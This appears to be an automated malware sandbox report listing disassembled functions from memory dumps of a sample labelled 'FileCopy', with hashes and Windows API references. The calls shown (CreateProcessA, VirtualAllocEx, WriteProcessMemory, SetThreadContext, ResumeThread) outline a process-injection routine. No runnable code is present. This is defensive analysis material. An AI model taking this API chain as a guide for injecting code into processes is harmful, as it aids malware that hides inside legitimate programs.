Instruction ID: b5e3b36002481dd30370eea4fc94503d341d796fde90e79b8f41c08355f1a3df
Opcode Fuzzy Hash: 2e8955fdec9a94cb23a58c250dd9ca88442719f0e8a69e26eb86226a2e647df1
Instruction Fuzzy Hash: 4422F834A40214CFDB24DFA5C994BADB7B2BF89300F1481A9E509AB7A5DB70ED91CF50

Function 09D88C9B Relevance: 1.6, APIs: 1, Instructions: 107
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtProtectVirtualMemory.NTDLL(?,?,?,?,?), ref: 09D88D55

Memory Dump Source

Source File: 00000004.00000002.1440299514.0000000009D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 09D80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_9d80000_FileCopy.jbxd

Similarity

API ID: MemoryProtectVirtual
String ID:
API String ID: 2706961497-0
Opcode ID: 10e10b6aae463f93b03cb3e1e2a7bf113d0206c0d56236d532eb2245f709de6f
Instruction ID: 1c017de2f97b4f5d2721ddefa087e9c1137a77b97d27a2a7cec48eb492554748
Opcode Fuzzy Hash: 10e10b6aae463f93b03cb3e1e2a7bf113d0206c0d56236d532eb2245f709de6f
Instruction Fuzzy Hash: 6941B8B9D042589FCF10CFAAD884ADEFBB1BB09310F14902AE819B7210C775A905CF54

Function 09D88CA0 Relevance: 1.6, APIs: 1, Instructions: 105
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtProtectVirtualMemory.NTDLL(?,?,?,?,?), ref: 09D88D55

Memory Dump Source

Source File: 00000004.00000002.1440299514.0000000009D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 09D80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_9d80000_FileCopy.jbxd

Similarity

API ID: MemoryProtectVirtual
String ID:
API String ID: 2706961497-0
Opcode ID: 5d29cacce5615a43c93d807b04d3cd542e4faf85f1d5887e79ef68bdec7e1276
Instruction ID: d812553a5bd427ec367903b6f896ddbff0e3ba4cb6964a02eeab79e7c5c1657e
Opcode Fuzzy Hash: 5d29cacce5615a43c93d807b04d3cd542e4faf85f1d5887e79ef68bdec7e1276
Instruction Fuzzy Hash: BF4197B9D002589FCF10CFAAD984ADEFBB1BB49310F14942AE819B7310D775A945CF64

Function 09D8B598 Relevance: 1.6, APIs: 1, Instructions: 86nativethreadCOMMON

Download Yara Rule

APIs

NtResumeThread.NTDLL(?,?), ref: 09D8B62E

Memory Dump Source

Source File: 00000004.00000002.1440299514.0000000009D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 09D80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_9d80000_FileCopy.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: a39c71b8d7a42c9fc21f20459c8b60ab5dcacee1cb59b4c4dd3567e9db813b7b
Instruction ID: 7de241e58205d2f95091ff6beac83a5938d0124ce806bb027d6e08898d888ca3
Opcode Fuzzy Hash: a39c71b8d7a42c9fc21f20459c8b60ab5dcacee1cb59b4c4dd3567e9db813b7b
Instruction Fuzzy Hash: E131B8B5D052189FCB10CFA9D985AEEFBF1BF49310F14842AE845BB210C779A946CF94

Function 09D8B5A0 Relevance: 1.6, APIs: 1, Instructions: 82nativethreadCOMMON

Download Yara Rule

APIs

NtResumeThread.NTDLL(?,?), ref: 09D8B62E

Memory Dump Source

Source File: 00000004.00000002.1440299514.0000000009D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 09D80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_9d80000_FileCopy.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: ea52c779e1980028bbb0bcc4064359dc409506a6f44cc6b90eda4ed94de42eb1
Instruction ID: cbcfd6c5d8a01eee9e74457e69ae9e31c2d33b8cbb4e6bbb3b4e862e01d59552
Opcode Fuzzy Hash: ea52c779e1980028bbb0bcc4064359dc409506a6f44cc6b90eda4ed94de42eb1
Instruction Fuzzy Hash: D631A8B5D012189FCB10DFAAD985AAEFBF0BB49310F14942AE815B7300C779A946CF94

Function 09D857D8 Relevance: 1.4, Strings: 1, Instructions: 164COMMON

Download Yara Rule

Strings

h, xrefs: 09D858DE

Memory Dump Source

Source File: 00000004.00000002.1440299514.0000000009D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 09D80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_9d80000_FileCopy.jbxd

Similarity

API ID:
String ID: h
API String ID: 0-2439710439
Opcode ID: 1001b4b319570cfe962f3344f950368a07deb5349794731e6125b85ed254c831
Instruction ID: 38b4588770b6f0061d27f2a6f262aae817b4b8447a8a6cc1b81725e4a4443e95
Opcode Fuzzy Hash: 1001b4b319570cfe962f3344f950368a07deb5349794731e6125b85ed254c831
Instruction Fuzzy Hash: 4871E575E00229DBEB64DF69C854BDAB7B2FF89300F1081AAD509B7254DB30AE85CF50

Function 09C83758 Relevance: 1.0, Instructions: 956COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1437391518.0000000009C80000.00000040.00000800.00020000.00000000.sdmp, Offset: 09C80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_9c80000_FileCopy.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8c3bec78fb7b6886ca43fab5b6f30ef263d48d18d51be3dee5315a557c422432
Instruction ID: df4524944908000621a8b854055f35c023bf8906c7e5cf5329e05d7fd6560d39
Opcode Fuzzy Hash: 8c3bec78fb7b6886ca43fab5b6f30ef263d48d18d51be3dee5315a557c422432
Instruction Fuzzy Hash: 2DA2A475E00228DFDB64DF69C984AD9BBB2BF89304F1581E9E509AB321D7319E81CF50

Function 09D50040 Relevance: .6, Instructions: 616COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1439036522.0000000009D50000.00000040.00000800.00020000.00000000.sdmp, Offset: 09D50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_9d50000_FileCopy.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1e0dd6228af52849ba6a90c52f1ce4a611c1ddd42922955df15446bcc0f25ffd
Instruction ID: e6472aff03940da00f7ae1c49ddb46df18ff0f1a483444b4db58868e52ba3af0
Opcode Fuzzy Hash: 1e0dd6228af52849ba6a90c52f1ce4a611c1ddd42922955df15446bcc0f25ffd
Instruction Fuzzy Hash: A0328A74A04606CFDB18DFA9C49466EFBF2FF88300F148529E95AD7791DB74A941CB80

Function 09C86323 Relevance: .5, Instructions: 539COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1437391518.0000000009C80000.00000040.00000800.00020000.00000000.sdmp, Offset: 09C80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_9c80000_FileCopy.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 50c4823dba71db0d716cad3ef3aec84e02e1e45102d68430e7d73b4cd1a6d43a
Instruction ID: ca496f412fa39ebd58f81903badd6315e2a43f52bcec602548a67eea0628f7d5
Opcode Fuzzy Hash: 50c4823dba71db0d716cad3ef3aec84e02e1e45102d68430e7d73b4cd1a6d43a
Instruction Fuzzy Hash: AD5292B4A006288FDB64DF28D988B9AB7B2FF48305F1081E9D54DA7355DB34AE81CF51

Function 09D5F72F Relevance: .3, Instructions: 327COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1439036522.0000000009D50000.00000040.00000800.00020000.00000000.sdmp, Offset: 09D50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_9d50000_FileCopy.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4e2f8dadaf47cffe9b4f8b96004ddf604661322148ca73ec3ca3f14ddda405b5
Instruction ID: f343e12dbb78b10682f53231777a12857ea0f5bc81a02ccfd078abe48c4b4c59
Opcode Fuzzy Hash: 4e2f8dadaf47cffe9b4f8b96004ddf604661322148ca73ec3ca3f14ddda405b5
Instruction Fuzzy Hash: 3AE14D74D45218CFEB14DFA8D945BADBBF2FB49304F1480A9D84AAB795DB30A981CF40

Function 09D556C8 Relevance: .3, Instructions: 299COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1439036522.0000000009D50000.00000040.00000800.00020000.00000000.sdmp, Offset: 09D50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_9d50000_FileCopy.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1b184fe5d372bdd6b6727299de5c85a32b83bea8658d33d41058c1c91d6b65f1
Instruction ID: aaff12f4c98db54ac9da667b3807b5d01420548beb52159351345453e747d373
Opcode Fuzzy Hash: 1b184fe5d372bdd6b6727299de5c85a32b83bea8658d33d41058c1c91d6b65f1
Instruction Fuzzy Hash: 5DD13C74E44218CFEF21DFA5E485BADBBF2FB49304F108069E84AA7645DB74A984CF41

Function 09D556C0 Relevance: .3, Instructions: 287COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1439036522.0000000009D50000.00000040.00000800.00020000.00000000.sdmp, Offset: 09D50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_9d50000_FileCopy.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: da6ddb1a373aa8eaeded1247b92c4c50d16e753aee2521fdd1ceff7f64f0adae
Instruction ID: a93c9d336800fbef458b994acfe6687da7cfecfa11d4bc011e631ca36a454c13
Opcode Fuzzy Hash: da6ddb1a373aa8eaeded1247b92c4c50d16e753aee2521fdd1ceff7f64f0adae
Instruction Fuzzy Hash: 75D13C74D44218CFEF25DFA9E485BADBBF2FB49304F108069E84AA7645DB74A984CF01

Function 0A0DED78 Relevance: .3, Instructions: 276COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1442187329.000000000A0C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A0C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_a0c0000_FileCopy.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5c786c83b2494498f32128df381f4c15bc9cfcdb7b2fa3c71215221f248b4af6
Instruction ID: 428ac317e8cfb22069f703f30509eea7889e0f08171ab3eef44d390f9566a106
Opcode Fuzzy Hash: 5c786c83b2494498f32128df381f4c15bc9cfcdb7b2fa3c71215221f248b4af6
Instruction Fuzzy Hash: DED19275A11218CFDB64DFA9D994A9DBBB2FF48300F1081A9E409AB365DB31AD81CF50

Function 09D88A10 Relevance: .2, Instructions: 180COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1440299514.0000000009D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 09D80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_9d80000_FileCopy.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 20194a1c9af197a9005d960b661fad6967174b2a99f04b223cb496a7700057de
Instruction ID: 011567c673d35774eb2ac05adcf1fd1c765dae964770b8887f3e01b7d0b96f8f
Opcode Fuzzy Hash: 20194a1c9af197a9005d960b661fad6967174b2a99f04b223cb496a7700057de
Instruction Fuzzy Hash: 4071DE74E41208DFDB04EFA9E485AAEBBF6BF88310F148029E419AB355DB34A9419F50

Function 09D88A0B Relevance: .2, Instructions: 180COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1440299514.0000000009D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 09D80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_9d80000_FileCopy.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f9b84b65bf31a61bac7444db4bebf3ff4ad656e6265163aeced0be5948bfb045
Instruction ID: d235b3d0e88f78a44b8558ba5613cd751c3fee103044ee725d09e0ae7f0b3ded
Opcode Fuzzy Hash: f9b84b65bf31a61bac7444db4bebf3ff4ad656e6265163aeced0be5948bfb045
Instruction Fuzzy Hash: 1671CE74E41208DFDB04EFA9E485AAEBBF2BF88310F148029E419BB355DB34A945DF50

Function 09C849B0 Relevance: .1, Instructions: 140COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1437391518.0000000009C80000.00000040.00000800.00020000.00000000.sdmp, Offset: 09C80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_9c80000_FileCopy.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: afffe5f0c79d26c56250ae6c62bdaa676d90c5384d1356b5451f41b51a8ae0c9
Instruction ID: 7a6418611bb23ed08ba7fef58b2383ecf7ec89f3d47288b3411dff1c620e42fc
Opcode Fuzzy Hash: afffe5f0c79d26c56250ae6c62bdaa676d90c5384d1356b5451f41b51a8ae0c9
Instruction Fuzzy Hash: 4E51DB71E00A188BEB28DF6BDD4569AFBF3BFC8305F14C1A9D408A7255DB345A818F50

Function 09C622CC Relevance: .1, Instructions: 120COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1437226028.0000000009C60000.00000040.00000800.00020000.00000000.sdmp, Offset: 09C60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_9c60000_FileCopy.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a87048cdf8b9a9cd1eacd2753173f66292449a592e0f677434ba7926574835ed
Instruction ID: 9da1ca066ad99c2a472ec8ad88df3e8221edcdbd13fce043da30734871a80aaa
Opcode Fuzzy Hash: a87048cdf8b9a9cd1eacd2753173f66292449a592e0f677434ba7926574835ed
Instruction Fuzzy Hash: B351B275E05228CBEB64CF1AD984B99B7B5BB4A310F0481EAD41EE2A61DB315AC5CF01

Function 09C8BC70 Relevance: 3.8, Strings: 3, Instructions: 39
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

,, xrefs: 09C8CBEF
C, xrefs: 09C8D84F
E, xrefs: 09C8D823

Memory Dump Source

Source File: 00000004.00000002.1437391518.0000000009C80000.00000040.00000800.00020000.00000000.sdmp, Offset: 09C80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_9c80000_FileCopy.jbxd

Similarity

API ID:
String ID: ,$C$E
API String ID: 0-1757506129
Opcode ID: ec13bd975d6fe00f3765c7da17c6a6bcb2ca781e7df49c4a7eda334b1a5f059b
Instruction ID: beb4a08cf74c729927ee2a9449a062051f4d780ef633c9d6a82ca7cf7440738c
Opcode Fuzzy Hash: ec13bd975d6fe00f3765c7da17c6a6bcb2ca781e7df49c4a7eda334b1a5f059b
Instruction Fuzzy Hash: 9E11E5B4D1522CCFDF60EF54E884BAEB7B4BF04359F4055AAE409A2280CB745A85CF01

Function 09D89C50 Relevance: 1.8, APIs: 1, Instructions: 261
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNELBASE(?,?,?,?,?,?,?,?,?,?), ref: 09D89EB7

Memory Dump Source

Source File: 00000004.00000002.1440299514.0000000009D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 09D80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_9d80000_FileCopy.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: 6efa6793f83e15cc242158e6823163314248379429f2ae0ab7cde57daaa87fc4
Instruction ID: 5c5515c0ad54b07083c036c716c52d013888aae8311da32f25573dfb21bced44
Opcode Fuzzy Hash: 6efa6793f83e15cc242158e6823163314248379429f2ae0ab7cde57daaa87fc4
Instruction Fuzzy Hash: DFA10174D003188FDF20DFA9C8957EEBBF1BB09300F149169E899A7641DB748985CF45

Function 09D8AEA9 Relevance: 1.6, APIs: 1, Instructions: 118
injectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteProcessMemory.KERNELBASE(?,?,?,?,?), ref: 09D8AF83

Memory Dump Source

Source File: 00000004.00000002.1440299514.0000000009D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 09D80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_9d80000_FileCopy.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: a1c488b6fb16091c9b3b6d24d7238a82fd10ba79878f95d6a4ae9ff1c36b096e
Instruction ID: c3c7b83970425e65aebe7773a7cca80fe6b984468a9c7aa88b7819f0dc3dcd6f
Opcode Fuzzy Hash: a1c488b6fb16091c9b3b6d24d7238a82fd10ba79878f95d6a4ae9ff1c36b096e
Instruction Fuzzy Hash: 4741A9B5D012589FCF00CFA9D984AEEFBF1BB49310F24942AE819B7250C778AA45CF54

Function 09D8AEB0 Relevance: 1.6, APIs: 1, Instructions: 116
injectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteProcessMemory.KERNELBASE(?,?,?,?,?), ref: 09D8AF83

Memory Dump Source

Source File: 00000004.00000002.1440299514.0000000009D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 09D80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_9d80000_FileCopy.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: ca1830e5902cf9e51b042f3d4383d96e5d78e140204465766c47b52e7749f4f1
Instruction ID: 1f5ebe0ae01af392fa31dbd0d855eea7fa948a02f05aec97dddc2e5df01c8ddd
Opcode Fuzzy Hash: ca1830e5902cf9e51b042f3d4383d96e5d78e140204465766c47b52e7749f4f1
Instruction Fuzzy Hash: D741AAB5D012589FCF00DFA9D984AEEFBF1BB49310F14902AE819B7210D779AA45CF64

Function 09D8ABB0 Relevance: 1.6, APIs: 1, Instructions: 101
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAllocEx.KERNELBASE(?,?,?,?,?), ref: 09D8AC5A

Memory Dump Source

Source File: 00000004.00000002.1440299514.0000000009D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 09D80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_9d80000_FileCopy.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 6248bfb7fab28de7652d4e6472d10a27ba51fc5101a5f804263f012b87856799
Instruction ID: a56ba9827d9b36342dc266c50efa9cabeef0e13955fb86cbea0eb0890122a79a
Opcode Fuzzy Hash: 6248bfb7fab28de7652d4e6472d10a27ba51fc5101a5f804263f012b87856799
Instruction Fuzzy Hash: 3A31A8B9D042589FCF10CFA9D984ADEFBB5BB49310F14942AE815B7310D735A942CF54

Function 09D8ABAC Relevance: 1.6, APIs: 1, Instructions: 101
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAllocEx.KERNELBASE(?,?,?,?,?), ref: 09D8AC5A

Memory Dump Source

Source File: 00000004.00000002.1440299514.0000000009D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 09D80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_9d80000_FileCopy.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: de4056c63bbf5ab54077ef2328c2c279b34bd492e2c3d20a35f14041b2cfd547
Instruction ID: d4a34b871f752d1cf36f926226b13674c1dc43f558898d4eca0e7679cfa3daf1
Opcode Fuzzy Hash: de4056c63bbf5ab54077ef2328c2c279b34bd492e2c3d20a35f14041b2cfd547
Instruction Fuzzy Hash: D83197B9D042589FCF10CFA9D984AEEBBB1BB49310F14942AE815B7310D735A942CF54

Function 09D58840 Relevance: 1.6, APIs: 1, Instructions: 100
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtect.KERNELBASE(?,?,?,?), ref: 09D588EC

Memory Dump Source

Source File: 00000004.00000002.1439036522.0000000009D50000.00000040.00000800.00020000.00000000.sdmp, Offset: 09D50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_9d50000_FileCopy.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 68b74c0258fd3c4e0cdbbdd91fef46b3119db39f510d6b743ee0112d5f4ca75d
Instruction ID: 078542f712e87cde2bb0c1606fb5714a493518f26cbd7927b72d1961cbf9b813
Opcode Fuzzy Hash: 68b74c0258fd3c4e0cdbbdd91fef46b3119db39f510d6b743ee0112d5f4ca75d
Instruction Fuzzy Hash: 9831C7B9D04258DFCF10CFAAD884AEEFBB1AF49310F24942AE855B7210C779A945CF54

Function 09D58848 Relevance: 1.6, APIs: 1, Instructions: 98
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtect.KERNELBASE(?,?,?,?), ref: 09D588EC

Memory Dump Source

Source File: 00000004.00000002.1439036522.0000000009D50000.00000040.00000800.00020000.00000000.sdmp, Offset: 09D50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_9d50000_FileCopy.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 54d3470d58c0c03844cfa3d4bc6dd02fc6d78c15a89788d90160418e52fd1d1c
Instruction ID: 3da464cce0bcc15802be80f76911606739b97b495fc7b954b4b097bc64417893
Opcode Fuzzy Hash: 54d3470d58c0c03844cfa3d4bc6dd02fc6d78c15a89788d90160418e52fd1d1c
Instruction Fuzzy Hash: A231C8B9D04258DFCF10CFAAD884AEEFBB0BB09310F14942AE855B7210D779A945CF54

Function 09C6D910 Relevance: 1.6, APIs: 1, Instructions: 96
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtect.KERNELBASE(?,?,?,?), ref: 09C6D9B4

Memory Dump Source

Source File: 00000004.00000002.1437226028.0000000009C60000.00000040.00000800.00020000.00000000.sdmp, Offset: 09C60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_9c60000_FileCopy.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: a6810e6ce88d7159a9f84c8ba9ac93f05714d93c4dc13a7df120a065a6508e4f
Instruction ID: fd08dee9ff883898b3863fffafef9cb7d3a4e995cd4e89f8a3ab98a50ec3ad28
Opcode Fuzzy Hash: a6810e6ce88d7159a9f84c8ba9ac93f05714d93c4dc13a7df120a065a6508e4f
Instruction Fuzzy Hash: 1431A7B9D052489FCF10CFA9E980ADEFBB0BB49310F14942AE819B7210D775A945CF94

Function 09D8A508 Relevance: 1.6, APIs: 1, Instructions: 94threadCOMMON

Download Yara Rule

APIs

Wow64SetThreadContext.KERNEL32(?,?), ref: 09D8A5B7

Memory Dump Source

Source File: 00000004.00000002.1440299514.0000000009D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 09D80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_9d80000_FileCopy.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: 7e07616b43f1e1a73f0771f1cf3c0bee7c3ceaa88719334f583f1f520c384b99
Instruction ID: 79998c765bc70aa7894120dde92813753348a0194fb9e1cb8fd52a10a0a88609
Opcode Fuzzy Hash: 7e07616b43f1e1a73f0771f1cf3c0bee7c3ceaa88719334f583f1f520c384b99
Instruction Fuzzy Hash: 6931BBB5D012589FDB10DFAAD884AEEBBF0AB49310F14802AE415B7240D778A985CF54

Function 09D8A507 Relevance: 1.6, APIs: 1, Instructions: 94
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Wow64SetThreadContext.KERNEL32(?,?), ref: 09D8A5B7

Memory Dump Source

Source File: 00000004.00000002.1440299514.0000000009D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 09D80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_9d80000_FileCopy.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: 875c3e48576c52d901b3ed4fb83bfda38f6e1dd633e9391f23c3d4867b558ac9
Instruction ID: 11db573dca9dd68c1a53c14a8c6ac599feb16b584410eaaa3f73843f1d269448
Opcode Fuzzy Hash: 875c3e48576c52d901b3ed4fb83bfda38f6e1dd633e9391f23c3d4867b558ac9
Instruction Fuzzy Hash: FB41BBB5D012589FDB10DFA9D884AEEBBF0AF49310F14802AE415B7240D7789985CF54

Function 09C6EA48 Relevance: 1.3, APIs: 1, Instructions: 94memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(?,?,?,?), ref: 09C6EAE7

Memory Dump Source

Source File: 00000004.00000002.1437226028.0000000009C60000.00000040.00000800.00020000.00000000.sdmp, Offset: 09C60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_9c60000_FileCopy.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 9369427ca8d1287ad2a14714c368eca71fb49173c3fc2694cb40a9b35d40fca6
Instruction ID: 43ea713f9f2ca9835a8ddf951e44dbf7ade9fdeb5431f2fa8a577717bf3db8f3
Opcode Fuzzy Hash: 9369427ca8d1287ad2a14714c368eca71fb49173c3fc2694cb40a9b35d40fca6
Instruction Fuzzy Hash: 173198B9D012589FCF10CFA9E984ADEFBB0AF49310F14942AE815B7210D775A945CF98

Function 0A0C2B96 Relevance: 1.3, Strings: 1, Instructions: 28COMMON

Download Yara Rule

Strings

F, xrefs: 0A0C2BA4

Memory Dump Source

Source File: 00000004.00000002.1442187329.000000000A0C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A0C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_a0c0000_FileCopy.jbxd

Similarity

API ID:
String ID: F
API String ID: 0-1304234792
Opcode ID: 7f1856d4c8716c2f13954ab145697f6fdbfe551f0c166ae4354a255ccb727c96
Instruction ID: e901b67992ebb284c142897537d5620fbf11fabf2bc95e2a79ecc93ad55227c5
Opcode Fuzzy Hash: 7f1856d4c8716c2f13954ab145697f6fdbfe551f0c166ae4354a255ccb727c96
Instruction Fuzzy Hash: 0101B674A44219CFDBA4DF18C859B9EB7B2EB49308F104198E61DA7285DB789EC88F40

Function 09C8889E Relevance: 1.3, Strings: 1, Instructions: 16COMMON

Download Yara Rule

Strings

!, xrefs: 09C888DF

Memory Dump Source

Source File: 00000004.00000002.1437391518.0000000009C80000.00000040.00000800.00020000.00000000.sdmp, Offset: 09C80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_9c80000_FileCopy.jbxd

Similarity

API ID:
String ID: !
API String ID: 0-2657877971
Opcode ID: 16424197c1e847767a3a4203cc748816f73a7a29899a71bc4873fb1b31794226
Instruction ID: 0cf6c68a30344074d85039f362d01bf44fedbfb92cddc8f8bce64dd3e8a8b8ca
Opcode Fuzzy Hash: 16424197c1e847767a3a4203cc748816f73a7a29899a71bc4873fb1b31794226
Instruction Fuzzy Hash: 82E05278D042189FDB60DFA9D4456DEBBF5FB58304F0090AAE819A7354D7346E818F40

Function 09C8BFCD Relevance: 1.3, Strings: 1, Instructions: 12COMMON

Download Yara Rule

Strings

P, xrefs: 09C8DC3A

Memory Dump Source

Source File: 00000004.00000002.1437391518.0000000009C80000.00000040.00000800.00020000.00000000.sdmp, Offset: 09C80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_9c80000_FileCopy.jbxd

Similarity

API ID:
String ID: P
API String ID: 0-3110715001
Opcode ID: af53ecb15f98fb258f8abb010f249fa12ea6588908f581141183eeacdccf4eb7
Instruction ID: 7085af34129eb7b419f1ae2311ae9944397c9384b9c573d48e6476bdf9c4945a
Opcode Fuzzy Hash: af53ecb15f98fb258f8abb010f249fa12ea6588908f581141183eeacdccf4eb7
Instruction Fuzzy Hash: B9E02D749102288BCF65DF21D880AAAB7B6AB05349F1055A9D50963284D7765A81CE15

Function 09DA88A0 Relevance: .7, Instructions: 677COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1441253890.0000000009DA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 09DA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_9da0000_FileCopy.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 945a4bda201f72321343e72861abc747e51c55ed4d527bb7b7154a9770424e18
Instruction ID: f2b09bf06fe47906ec9a3c6ab7cb642e33b9b954d4bc620ad5a4961c54805343
Opcode Fuzzy Hash: 945a4bda201f72321343e72861abc747e51c55ed4d527bb7b7154a9770424e18
Instruction Fuzzy Hash: 59522775A40228CFDB24DF68C985BEDBBF2BB88300F1580D9E549A7351DA349E81CF61

Function 06B64790 Relevance: .6, Instructions: 642COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1425360584.0000000006B60000.00000040.00000800.00020000.00000000.sdmp, Offset: 06B60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6b60000_FileCopy.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6f2bd5894523aebce8dd3b23a2846c2ba086a65ff9c2a1d5a7a7b342fb4b85e4
Instruction ID: b8fa6c68a40c27e8feca499964a8c129c9a17d2e39eb0eca17f0fbf01c94dc90
Opcode Fuzzy Hash: 6f2bd5894523aebce8dd3b23a2846c2ba086a65ff9c2a1d5a7a7b342fb4b85e4
Instruction Fuzzy Hash: 195239B4E04A09CFDF54CFA5D5486ADBBB2FF89301F1090A9E456A7391CB785982CF90

